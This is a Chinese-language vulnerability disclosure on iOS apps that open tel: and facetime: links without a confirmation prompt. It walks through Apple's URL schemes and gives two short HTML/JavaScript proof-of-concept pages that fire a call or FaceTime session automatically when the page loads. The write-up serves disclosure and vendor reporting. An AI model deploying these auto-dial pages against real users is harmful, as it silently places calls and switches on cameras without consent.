國外一安全研究者發現該缺陷,在iOS設備上的某些應用里(其測試的Google+、Facebook Messenger、Gmail都成功觸發),當用戶點擊了構造好的鏈接時,會自動撥打電話,或開啟facetime,從而打開前置攝像頭,且無任何提醒。缺陷產生的原因是開發者沒有看清官方開發文檔對于Phone Links和FaceTime Links中這樣的一條說明,“當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口",從而導致缺陷的產生。
查看蘋果官方文檔,對于URL方案的規定大致有如下幾種類型:
點擊該類型的鏈接后,會自動調用郵件應用,且mailto URL必須指定一個收件地址。
網頁鏈接中的字符串格式如下
<a href="mailto:[email protected]">John Frank</a>
本地應用上的URL字符串格式為
mailto:[email protected]
當然也可以在字符串中添加主題等內容,比如
mailto:[email protected][email protected]&subject=Greetings%20from%20Cupertino!&body=Wish%20you%20were%20here!
具體的mailto格式可以查看RFC文檔
http://www.ietf.org/rfc/rfc2368.txt
tel類型的URL是用來開啟iOS設備上撥打電話的應用,并且撥打指定的號碼。當用戶在網頁中點擊了一個該類型的鏈接時,iOS設備會彈出提醒窗口,詢問用戶是否撥打該號碼,若用戶同意則開始撥打電話。但是當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口,而是直接撥打指定的電話。當然本地應用可以配置是否顯示提醒。
比如在網頁中嵌入一個a標簽,內容為
<a href="tel:10086">fuck it</a>
那么訪問該頁面,點擊fuck it鏈接后自動彈出撥打電話的提醒。如圖1
官方文檔同時給出了本地應用里的url形式,本地應用中URL字符串為tel:1-408-555-5555
在短信頁面輸入tel://10086點擊后會提示撥打電話,如圖2
同時防止惡意的請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS上的電話號碼的識別檢測是默認開啟的,如果想讓網頁上包含的數字不被識別為手機號碼,則需要在網頁中加入如下的標簽
<meta name = "format-detection" content = "telephone=no">
具體的URL方案可以查看如下RFC文檔,
http://www.ietf.org/rfc/rfc2396.txt http://www.ietf.org/rfc/rfc2806.txt
FaceTime類型的URL是用來調用FaceTime應用撥打指定的用戶,可以是電話號碼或者是綁定的郵箱地址。當用戶在網頁里點開FaceTime類型的URL時,系統會提示是否撥打;但是當在本地應用里點擊該類型的URL時,iOS直接開啟FaceTime應用撥打電話,而無提醒。本地應用可以配置是否顯示提醒。 網頁中的鏈接格式為
<a href="facetime:14085551234">Connect using FaceTime</a>
<a href="facetime:[email protected]">Connect using FaceTime</a>
本地應用中URL字符串為
facetime:// 14085551234
facetime:[email protected]
當然防止惡意請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS7之前的系統,用該協議撥打電話時候,是用的默認普通的撥打電話的應用而不是FaceTime應用
SMS方案是用來打開短信應用,其URL格式如下sms:
網頁中的鏈接格式為
<a href="sms:">Launch Messages App</a>
<a href="sms:1-408-555-1212">New SMS Message</a>
本地應用中URL字符串為
sms:1-408-555-1212
其他像Map Links(打開地圖)、iTunes Links(打開iTunes)、YouTube Links(打開YouTube)等不一一介紹,是點擊指定的鏈接后打開相應的地圖、iTunes應用等,詳細查看蘋果官方開發文檔。
由上述的介紹可以看出,其中可以利用的有Phone Links和FaceTime Links。因為其中都有一條這樣的描述,如果鏈接是在本地應用里,則點擊的話會直接調用相關系統應用,而沒有任何提醒。
即如果在應用里直接輸入tel://xxxx、facetime://xxxx類似的字符,會直接調用相關撥號應用。同樣我們可以在應用里輸入網頁鏈接,然后在網頁內容里嵌入這樣的a標簽鏈接,然后利用js實現加載網頁時自動點擊該a標簽鏈接。
所以具體的測試代碼如下,將其保存為html文件即可。
<a id="target" href="facetime:[email protected]">click me</a>
<script>
var target = document.getElementById("target");
var fakeEvent = document.createEvent("MouseEvents");
fakeEvent.initEvent("click", true, false);
target.dispatchEvent(fakeEvent);
</script>
或者如下
<html>
<head>
<title>v</title>
</head>
<body>
<a id="dial" href="tel:10086">fuck it</a>
</body>
<script type="text/javascript">
<!--
window.onload = function()
{
window.location.href = document.getElementById("dial").href;
};
//-->
</script>
</html>
tel:xxxxx表示要撥打的電話,點擊該鏈接后則自動撥打電話;
facetiem:xxxxx表示撥打的facetime帳號,點擊該鏈接后自動開啟攝像頭,無任何提醒;
注:其中第二個代碼在某些應用里測試沒有執行成功,第一個代碼在應用里基本能執行成功。
測試了國內的幾個常用的聊天類應用,基本都存在該缺陷,已經報告給廠商,修復可能需要一段時間。這里以在烏云上提交的易信為案例(官方將發布新版本)。 測試版本為iOS版本6.1.4、易信V2.9.0.1680
在朋友圈發布該url,如圖3
好友點擊后自動撥打電話或開啟FaceTime,如圖2、圖3
在蘋果官方開發文檔給出的說明上,在本地應用打開相應的URL是可以配置提醒設置的。所以可能是開發者對蘋果URL的規范未全面了解,疏忽導致了該問題。由于未接觸過iOS開發,所以具體的修復不清楚。:)
References:
http://algorithm.dk/posts/rtfm-0day-in-ios-apps-g-gmail-fb-messenger-etc https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1 https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1